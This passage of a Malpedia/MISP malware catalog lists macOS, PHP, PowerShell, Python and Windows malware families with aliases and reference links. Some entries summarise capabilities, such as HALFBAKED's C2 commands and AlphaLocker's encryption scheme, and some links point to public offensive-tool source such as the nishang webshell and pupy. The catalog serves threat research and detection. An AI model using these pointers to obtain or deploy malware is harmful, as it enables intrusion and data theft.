https://www.forbes.com/sites/thomasbrewster/2018/08/30/apple-mac-loophole-breached-in-middle-east-hacks/
https://gsec.hitb.org/materials/sg2018/D1%20COMMSEC%20-%20In%20the%20Trails%20of%20WINDSHIFT%20APT%20-%20Taha%20Karim.pdf

Winnti (OS X)

The tag is: misp-galaxy:malpedia="Winnti (OS X)"

Winnti (OS X) is also known as:

Table 1008. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.winnti
https://401trg.pw/winnti-evolution-going-open-source/
https://401trg.pw/an-update-on-winnti/

WireLurker (OS X)

The tag is: misp-galaxy:malpedia="WireLurker (OS X)"

WireLurker (OS X) is also known as:

Table 1009. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirelurker
https://objective-see.com/blog/blog_0x16.html
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf

Wirenet (OS X)

The tag is: misp-galaxy:malpedia="Wirenet (OS X)"

Wirenet (OS X) is also known as:

Table 1010. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.wirenet
http://contagiodump.blogspot.com/2012/12/aug-2012-backdoorwirenet-osx-and-linux.html
https://news.drweb.com/show/?i=2679&lng=en&c=14

X-Agent (OS X)

The tag is: misp-galaxy:malpedia="X-Agent (OS X)"

X-Agent (OS X) is also known as:

Table 1011. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xagent
http://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/
https://twitter.com/PhysicalDrive0/status/845009226388918273
https://download.bitdefender.com/resources/files/News/CaseStudies/study/143/Bitdefender-Whitepaper-APT-Mac-A4-en-EN-web.pdf

XSLCmd

The tag is: misp-galaxy:malpedia="XSLCmd"

XSLCmd is also known as:

Table 1012. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.xslcmd
https://www.fireeye.com/blog/threat-research/2014/09/forced-to-adapt-xslcmd-backdoor-now-on-os-x.html
https://objective-see.com/blog/blog_0x16.html

Yort

The tag is: misp-galaxy:malpedia="Yort"

Yort is also known as:

Table 1013. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/osx.yort
https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/

ANTAK

Antak is a webshell written in ASP.Net which utilizes PowerShell.

The tag is: misp-galaxy:malpedia="ANTAK"

ANTAK is also known as:

Table 1014. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.antak
https://github.com/samratashok/nishang/blob/master/Antak-WebShell/antak.aspx
http://www.labofapenetrationtester.com/2014/06/introducing-antak.html

PAS

The tag is: misp-galaxy:malpedia="PAS"

PAS is also known as:

Table 1015. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.pas
https://www.us-cert.gov/security-publications/GRIZZLY-STEPPE-Russian-Malicious-Cyber-Activity
https://blog.erratasec.com/2016/12/some-notes-on-iocs.html

WSO

The tag is: misp-galaxy:malpedia="WSO"

WSO is also known as:

Webshell by Orb

Table 1016. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/php.wso
https://github.com/wso-shell
https://securelist.com/energetic-bear-crouching-yeti/85345/

Silence DDoS

The tag is: misp-galaxy:malpedia="Silence DDoS"

Silence DDoS is also known as:

Table 1017. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/pl.silence_ddos
https://www.group-ib.com/resources/threat-research/silence.html

BONDUPDATER

The tag is: misp-galaxy:malpedia="BONDUPDATER"

BONDUPDATER is also known as:

Glimpse

Table 1018. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.bondupdater
https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2
https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/

GhostMiner

The tag is: misp-galaxy:malpedia="GhostMiner"

GhostMiner is also known as:

Table 1019. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.ghostminer
https://blog.minerva-labs.com/ghostminer-cryptomining-malware-goes-fileless

OilRig

The tag is: misp-galaxy:malpedia="OilRig"

OilRig is also known as:

Table 1020. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.oilrig
https://www.vkremez.com/2018/03/investigating-iranian-threat-group.html
https://twitter.com/MJDutch/status/1074820959784321026?s=19

POSHSPY

The tag is: misp-galaxy:malpedia="POSHSPY"

POSHSPY is also known as:

Table 1021. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.poshspy
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://github.com/matthewdunwoody/POSHSPY

POWERPIPE

The tag is: misp-galaxy:malpedia="POWERPIPE"

POWERPIPE is also known as:

Table 1022. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerpipe
https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html

POWERSOURCE

POWERSOURCE is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. The backdoor uses DNS TXT requests for command and control and is installed in the registry or Alternate Data Streams.

The tag is: misp-galaxy:malpedia="POWERSOURCE"

POWERSOURCE is also known as:

Table 1023. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powersource
https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html

PowerSpritz

The tag is: misp-galaxy:malpedia="PowerSpritz"

PowerSpritz is also known as:

Table 1024. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerspritz
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf

POWERSTATS

POWERSTATS is a backdoor written in powershell. It has the ability to disable Microsoft Office Protected View, fingerprint the victim and receive commands.

The tag is: misp-galaxy:malpedia="POWERSTATS"

POWERSTATS is also known as:

Valyria

Table 1025. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerstats
https://www.clearskysec.com/muddywater-operations-in-lebanon-and-oman/
https://unit42.paloaltonetworks.com/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html
https://blog.malwarebytes.com/threat-analysis/2017/09/elaborate-scripting-fu-used-in-espionage-attack-against-saudi-arabia-government_entity/
https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/
https://blog.trendmicro.com/trendlabs-security-intelligence/campaign-possibly-connected-muddywater-surfaces-middle-east-central-asia/
https://www.clearskysec.com/muddywater-targets-kurdish-groups-turkish-orgs/

PowerWare

The tag is: misp-galaxy:malpedia="PowerWare"

PowerWare is also known as:

Table 1026. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powerware
https://blog.cylance.com/ransomware-update-todays-bountiful-cornucopia-of-extortive-threats

POWRUNER

The tag is: misp-galaxy:malpedia="POWRUNER"

POWRUNER is also known as:

Table 1027. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.powruner
https://www.boozallen.com/s/insight/blog/dark-labs-discovers-apt34-malware-variants.html?cid=spo-csatb-2

PresFox

The family is adding a fake root certificate authority, sets a proxy.pac-url for local browsers and redirects infected users to fake banking applications (currently targeting Poland). Based on information shared, it seems the PowerShell script is dropped by an exploit kit.

The tag is: misp-galaxy:malpedia="PresFox"

PresFox is also known as:

Table 1028. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.presfox
https://twitter.com/kafeine/status/1092000556598677504

QUADAGENT

The tag is: misp-galaxy:malpedia="QUADAGENT"

QUADAGENT is also known as:

Table 1029. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.quadagent
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/

RogueRobin

The tag is: misp-galaxy:malpedia="RogueRobin"

RogueRobin is also known as:

Table 1030. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.roguerobin
https://docs.google.com/document/d/1oYX3uN6KxIX_StzTH0s0yFNNoHDnV8VgmVqU5WoeErc/edit#heading=h.ez428aw98bca
https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/

sLoad

sLoad is a PowerShell downloader that most frequently delivers Ramnit banker and includes noteworthy reconnaissance features. The malware gathers information about the infected system including a list of running processes, the presence of Outlook, and the presence of Citrix-related files. sLoad can also take screenshots and check the DNS cache for specific domains (e.g., targeted banks), as well as load external binaries.

The tag is: misp-galaxy:malpedia="sLoad"

sLoad is also known as:

Table 1031. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.sload
https://cyware.com/news/new-sload-malware-downloader-being-leveraged-by-apt-group-ta554-to-spread-ramnit-7d03f2d9
https://isc.sans.edu/forums/diary/Malicious+Powershell+Targeting+UK+Bank+Customers/23675/
https://blog.yoroi.company/research/the-sload-powershell-threat-is-expanding-to-italy/
https://www.cybereason.com/blog/banking-trojan-delivered-by-lolbins-ramnit-trojan
https://www.proofpoint.com/us/threat-insight/post/sload-and-ramnit-pairing-sustained-campaigns-against-uk-and-italy
https://www.vkremez.com/2018/08/lets-learn-in-depth-into-latest-ramnit.html

Tater PrivEsc

The tag is: misp-galaxy:malpedia="Tater PrivEsc"

Tater PrivEsc is also known as:

Table 1032. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.tater
https://github.com/Kevin-Robertson/Tater

ThunderShell

The tag is: misp-galaxy:malpedia="ThunderShell"

ThunderShell is also known as:

Table 1033. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.thundershell
https://github.com/Mr-Un1k0d3r/ThunderShell

WMImplant

The tag is: misp-galaxy:malpedia="WMImplant"

WMImplant is also known as:

Table 1034. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/ps1.wmimplant
https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html

BrickerBot

The tag is: misp-galaxy:malpedia="BrickerBot"

BrickerBot is also known as:

Table 1035. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.brickerbot
https://security.radware.com/ddos-threats-attacks/brickerbot-pdos-permanent-denial-of-service/
https://www.bleepingcomputer.com/news/security/brickerbot-author-claims-he-bricked-two-million-devices/
https://honeynet.org/sites/default/files/Bots_Keep_Talking_To_Us.pdf
https://www.trustwave.com/Resources/SpiderLabs-Blog/BrickerBot-mod_plaintext-Analysis/
https://www.bleepingcomputer.com/news/security/brickerbot-author-retires-claiming-to-have-bricked-over-10-million-iot-devices/
http://depastedihrn3jtw.onion/show.php?md5=2c822a990ff22d56f3b9eb89ed722c3f
https://ics-cert.us-cert.gov/alerts/ICS-ALERT-17-102-01A
http://seclists.org/fulldisclosure/2017/Mar/7

pupy (Python)

The tag is: misp-galaxy:malpedia="pupy (Python)"

pupy (Python) is also known as:

Table 1036. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.pupy
https://github.com/n1nj4sec/pupy

Saphyra

The tag is: misp-galaxy:malpedia="Saphyra"

Saphyra is also known as:

Table 1037. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/py.saphyra
https://securityintelligence.com/dissecting-hacktivists-ddos-tool-saphyra-revealed/
https://www.youtube.com/watch?v=Bk-utzAlYFI

FlexiSpy (symbian)

The tag is: misp-galaxy:malpedia="FlexiSpy (symbian)"

FlexiSpy (symbian) is also known as:

Table 1038. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/symbian.flexispy
https://www.randhome.io/blog/2017/04/23/lets-talk-about-flexispy/

HALFBAKED

The HALFBAKED malware family consists of multiple components designed to establish and maintain a foothold in victim networks, with the ultimate goal of gaining access to sensitive financial information. HALFBAKED listens for the following commands from the C2 server:

info: Sends victim machine information (OS, Processor, BIOS and running processes) using WMI
        queries
processList: Send list of process running
screenshot: Takes screen shot of victim machine (using 58d2a83f777688.78384945.ps1)
runvbs: Executes a VB script
runexe: Executes EXE file
runps1: Executes PowerShell script
delete: Delete the specified file
update: Update the specified file

The tag is: misp-galaxy:malpedia="HALFBAKED"

HALFBAKED is also known as:

Table 1039. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/vbs.halfbaked
https://attack.mitre.org/software/S0151/
https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html

7ev3n

The NJCCIC describes 7ev3n as a ransomware "that targets the Windows OS and spreads via spam emails containing malicious attachments, as well as file sharing networks. It installs multiple files in the LocalAppData folder, each of which controls different functions including disabling bootup recovery options, deleting the ransomware installation file, encrypting data, and gaining administrator privileges. This variant also adds registry keys that disables various Windows function keys such as F1, F3, F4, F10, Alt, Num Lock, Ctrl, Enter, Escape, Shift, and Tab. Files encrypted by 7ev3n are labeled with a .R5A extension. It also locks victims out of Windows recovery options making it challenging to repair the damage done by 7ev3n."

The tag is: misp-galaxy:malpedia="7ev3n"

7ev3n is also known as:

Table 1040. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n
https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/
https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n

9002 RAT

The tag is: misp-galaxy:malpedia="9002 RAT"

9002 RAT is also known as:

Hydraq
McRAT

Table 1041. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.9002
https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html
https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf
https://community.hpe.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/6894315
http://researchcenter.paloaltonetworks.com/2016/07/unit-42-attack-delivers-9002-trojan-through-google-drive/
https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html
https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/
https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures
https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html
https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/

AbaddonPOS

The tag is: misp-galaxy:malpedia="AbaddonPOS"

AbaddonPOS is also known as:

PinkKite

Table 1042. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos
https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak
https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/
https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software

abantes

The tag is: misp-galaxy:malpedia="abantes"

abantes is also known as:

Table 1043. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abantes
https://github.com/ElektroKill/AbantesTrojan

Abbath Banker

The tag is: misp-galaxy:malpedia="Abbath Banker"

Abbath Banker is also known as:

Table 1044. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.abbath_banker

AcridRain

AcridRain is a password stealer written in C/C++. This malware can steal credentials, cookies, credit cards from multiple browsers. It can also dump Telegram and Steam sessions, rob Filezilla recent connections, and more.

The tag is: misp-galaxy:malpedia="AcridRain"

AcridRain is also known as:

Table 1045. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acridrain
https://thisissecurity.stormshield.com/2018/08/28/acridrain-stealer/

Acronym

The tag is: misp-galaxy:malpedia="Acronym"

Acronym is also known as:

Table 1046. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym
https://www.arbornetworks.com/blog/asert/acronym-m-is-for-malware/

AdamLocker

Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.

The tag is: misp-galaxy:malpedia="AdamLocker"

AdamLocker is also known as:

Table 1047. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adam_locker
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-dec-19-dec-31-2016
https://twitter.com/JaromirHorejsi/status/813712587997249536

AdKoob

The tag is: misp-galaxy:malpedia="AdKoob"

AdKoob is also known as:

Table 1048. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adkoob
https://news.sophos.com/en-us/2018/07/29/adkoob-information-thief-targets-facebook-ad-purchase-info/

AdvisorsBot

AdvisorsBot is a downloader named after early command and control domains that all contained the word "advisors". The malware is written in C and employs a number of anti-analysis features such as junk code, stack strings and Windows API function hashing.

The tag is: misp-galaxy:malpedia="AdvisorsBot"

AdvisorsBot is also known as:

Table 1049. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.advisorsbot
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-part-2-advisorsbot

Adylkuzz

The tag is: misp-galaxy:malpedia="Adylkuzz"

Adylkuzz is also known as:

Table 1050. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.adylkuzz
https://www.proofpoint.com/us/threat-insight/post/adylkuzz-cryptocurrency-mining-malware-spreading-for-weeks-via-eternalblue-doublepulsar

Agent.BTZ

The tag is: misp-galaxy:malpedia="Agent.BTZ"

Agent.BTZ is also known as:

ComRAT
Sun rootkit

Table 1051. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz
http://www.intezer.com/new-variants-of-agent-btz-comrat-found/
https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf
http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html
https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified
http://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/
https://blog.gdata.de/2015/01/23779-weiterentwicklung-anspruchsvoller-spyware-von-agent-btz-zu-comrat

Agent Tesla

A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host’s clipboard and beacons this information back to the C2.

The tag is: misp-galaxy:malpedia="Agent Tesla"

Agent Tesla is also known as:

Table 1052. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla
https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/
https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/
https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting
https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr
https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html
https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/
https://blogs.forcepoint.com/security-labs/part-two-camouflage-netting

Aldibot

According to Trend Micro Encyclopia: ALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.

This malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.

This bot can also be set up as a SOCKS proxy to abuse the infected machine as a proxy for any protocols.

This malware family can download and execute arbitrary files, and update itself. Variants can steal information, gathering the infected machine’s hardware identification (HWID), host name, local IP address, and OS version.

This backdoor executes commands from a remote malicious user, effectively compromising the affected system.

The tag is: misp-galaxy:malpedia="Aldibot"

Aldibot is also known as:

Table 1053. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.aldibot
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/aldibot

Project Alice

The tag is: misp-galaxy:malpedia="Project Alice"

Project Alice is also known as:

AliceATM
PrAlice

Table 1054. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alice_atm
http://blog.trendmicro.com/trendlabs-security-intelligence/alice-lightweight-compact-no-nonsense-atm-malware/
https://www.s21sec.com/en/blog/2017/01/alice-simplicity-for-atm-jackpotting/
https://www.symantec.com/security-center/writeup/2016-122104-0203-99

Alina POS

The tag is: misp-galaxy:malpedia="Alina POS"

Alina POS is also known as:

alina_eagle
alina_spark
katrina

Table 1055. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alina_pos
http://www.xylibox.com/2013/02/alina-34-pos-malware.html
https://www.nuix.com/blog/alina-continues-spread-its-wings
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina-POS-malware—sparks—off-a-new-variant/
https://blog.trendmicro.com/trendlabs-security-intelligence/two-new-pos-malware-affecting-us-smbs/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Casting-a-Shadow-on-POS/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Following-The-Shadow-Part-1/
https://www.trustwave.com/Resources/SpiderLabs-Blog/Alina—Following-The-Shadow-Part-2/

Allaple

The tag is: misp-galaxy:malpedia="Allaple"

Allaple is also known as:

Starman

Table 1056. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.allaple
https://trapx.com/wp-content/uploads/2017/08/White_Paper_TrapX_AllapleWorm.pdf
https://researchcenter.paloaltonetworks.com/2014/08/hunting-mutex/

Alma Communicator

The tag is: misp-galaxy:malpedia="Alma Communicator"

Alma Communicator is also known as:

Table 1057. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_communicator
https://researchcenter.paloaltonetworks.com/2017/11/unit42-oilrig-deploys-alma-communicator-dns-tunneling-trojan/
https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/

AlmaLocker

The tag is: misp-galaxy:malpedia="AlmaLocker"

AlmaLocker is also known as:

Table 1058. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alma_locker

ALPC Local PrivEsc

The tag is: misp-galaxy:malpedia="ALPC Local PrivEsc"

ALPC Local PrivEsc is also known as:

Table 1059. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alpc_lpe
https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/

Alphabet Ransomware

The tag is: misp-galaxy:malpedia="Alphabet Ransomware"

Alphabet Ransomware is also known as:

Table 1060. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphabet_ransomware
https://twitter.com/JaromirHorejsi/status/813714602466877440

AlphaLocker

A new form of ransomware named AlphaLocker that is built by cybercriminals for cybercriminals. Like all incarnations of Ransomware As A Service (RaaS), the AlphaLocker malware program can be purchased and launched by pretty much anyone who wants to get into the ransomware business. What makes AlphaLocker different from other forms of RaaS is its relatively cheap cost. The ransomware can be purchased for just $65 in bitcoin.

AlphaLocker, also known as Alpha Ransomware, is based on the EDA2 ransomware, an educational project open-sourced on GitHub last year by Turkish researcher Utku Sen. A Russian coder seems to have cloned this repository before it was taken down and used it to create his ransomware, a near-perfect clone of EDA2. The ransomware’s author, is said to be paying a great deal of attention to updating the ransomware with new features, so it would always stay ahead of antivirus engines, and evade detection.

AlphaLocker’s encryption process starts when the ransomware contacts its C&C server. The server generates a public and a private key via the RSA-2048 algorithm, sending the public key to the user’s computer and saving the private key to its server. On the infected computer, the ransomware generates an AES-256 key for each file it encrypts, and then encrypts this key with the public RSA key, and sent to the C&C server.

To decrypt their files, users have to get ahold of the private RSA key which can decrypt the AES-encrypted files found on their computers. Users have to pay around 0.35 Bitcoin (~$450) to get this key, packaged within a nice decrypter.

The tag is: misp-galaxy:malpedia="AlphaLocker"

AlphaLocker is also known as:

Table 1061. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphalocker
https://blog.cylance.com/an-introduction-to-alphalocker

AlphaNC

The tag is: misp-galaxy:malpedia="AlphaNC"

AlphaNC is also known as:

Table 1062. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alphanc
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

Alreay

The tag is: misp-galaxy:malpedia="Alreay"

Alreay is also known as:

Table 1063. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alreay
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/

Alureon

The tag is: misp-galaxy:malpedia="Alureon"

Alureon is also known as:

Olmarik
Pihar
TDL
TDSS

Table 1064. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.alureon
http://contagiodump.blogspot.com/2012/02/purple-haze-bootkit.html
http://contagiodump.blogspot.com/2010/02/list-of-aurora-hydraq-roarur-files.html
http://contagiodump.blogspot.com/2011/02/tdss-tdl-4-alureon-32-bit-and-64-bit.html

Amadey

The tag is: misp-galaxy:malpedia="Amadey"

Amadey is also known as:

Table 1065. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
https://twitter.com/0xffff0800/status/1062948406266642432
https://twitter.com/ViriBack/status/1062405363457118210
https://krabsonsecurity.com/2019/02/13/analyzing-amadey-a-simple-native-malware/

AMTsol

The tag is: misp-galaxy:malpedia="AMTsol"

AMTsol is also known as:

Adupihan

Table 1066. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.amtsol
https://blogs.technet.microsoft.com/mmpc/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

Anatova Ransomware

The tag is: misp-galaxy:malpedia="Anatova Ransomware"

Anatova Ransomware is also known as:

Table 1067. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anatova_ransom
https://www.bleepingcomputer.com/news/security/new-anatova-ransomware-supports-modules-for-extra-functionality/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/

Andromeda

The tag is: misp-galaxy:malpedia="Andromeda"

Andromeda is also known as:

B106-Gamarue
B67-SS-Gamarue
Gamarue
b66

Table 1068. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.andromeda
https://blog.fortinet.com/2014/04/16/a-good-look-at-the-andromeda-botnet
https://www.europol.europa.eu/newsroom/news/andromeda-botnet-dismantled-in-international-cyber-operation
https://blog.avast.com/andromeda-under-the-microscope
https://blog.fortinet.com/2014/05/19/new-anti-analysis-tricks-in-andromeda-2-08
http://blog.morphisec.com/andromeda-tactics-analyzed
https://eternal-todo.com/blog/yet-another-andromeda-gamarue-analysis
http://resources.infosecinstitute.com/andromeda-bot-analysis/
https://blog.fortinet.com/2014/04/23/andromeda-2-7-features
http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/
https://www.virusbulletin.com/virusbulletin/2013/08/andromeda-2-7-features
https://blogs.technet.microsoft.com/mmpc/2017/12/04/microsoft-teams-up-with-law-enforcement-and-other-partners-to-disrupt-gamarue-andromeda/
https://www.virusbulletin.com/virusbulletin/2018/02/review-evolution-andromeda-over-years-we-say-goodbye/
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://eternal-todo.com/blog/andromeda-gamarue-loves-json
http://resources.infosecinstitute.com/andromeda-bot-analysis-part-two/
https://byte-atlas.blogspot.ch/2015/04/kf-andromeda-bruteforcing.html

Anel

The tag is: misp-galaxy:malpedia="Anel"

Anel is also known as:

Table 1069. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.anel
https://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-adds-updated-tools-to-its-arsenal/

Antilam

The tag is: misp-galaxy:malpedia="Antilam"

Antilam is also known as:

Latinus

Table 1070. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.antilam

Apocalipto

The tag is: misp-galaxy:malpedia="Apocalipto"

Apocalipto is also known as:

Table 1071. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalipto
https://www.visakorea.com/dam/VCOM/download/merchants/Grocery_Malware_04242013.pdf

Apocalypse

The tag is: misp-galaxy:malpedia="Apocalypse"

Apocalypse is also known as:

Table 1072. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.apocalypse_ransom
http://blog.emsisoft.com/2016/06/29/apocalypse-ransomware-which-targets-companies-through-insecure-rdp/

ArdaMax

The tag is: misp-galaxy:malpedia="ArdaMax"

ArdaMax is also known as:

Table 1073. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ardamax

Arefty

The tag is: misp-galaxy:malpedia="Arefty"

Arefty is also known as:

Table 1074. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty
http://www.welivesecurity.com/2016/03/23/new-self-protecting-usb-trojan-able-to-avoid-detection/

Arik Keylogger

The tag is: misp-galaxy:malpedia="Arik Keylogger"

Arik Keylogger is also known as:

Aaron Keylogger

Table 1075. Table References
Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.arik_keylogger
